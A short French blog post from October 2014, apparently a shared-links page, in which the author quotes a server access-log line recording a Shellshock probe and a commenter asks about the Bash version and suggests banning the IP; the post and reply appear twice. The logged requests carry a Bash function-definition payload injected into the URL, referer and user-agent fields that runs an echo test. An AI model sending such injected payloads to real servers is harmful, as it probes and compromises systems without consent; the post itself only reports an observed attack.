shellshock
mardi 7 octobre 2014 à 07:56chabotsi, le 07/10/2014 à 07:56
Vu dans mes logs ce matin :
192.3.138.103 - - [07/Oct/2014:05:09:27 +0200] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; HTTP/1.0" 302 539 "() { :; }; echo Co
ntent-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"
(https://en.wikipedia.org/wiki/Shellshock_(software_bug))
(Permalink)
@Killiox > chabotsi, le 07/10/2014 à 11:50
Quelle est la version de ton Bash?
Il semble qu'un petit malin a voulu tester ton serveur. Un ban?
PS: Vire bash et utilise ZSH!
(Permalink)
Vu dans mes logs ce matin :
192.3.138.103 - - [07/Oct/2014:05:09:27 +0200] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; HTTP/1.0" 302 539 "() { :; }; echo Co
ntent-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"
(https://en.wikipedia.org/wiki/Shellshock_(software_bug))
(Permalink)
@Killiox > chabotsi, le 07/10/2014 à 11:50
Quelle est la version de ton Bash?
Il semble qu'un petit malin a voulu tester ton serveur. Un ban?
PS: Vire bash et utilise ZSH!
(Permalink)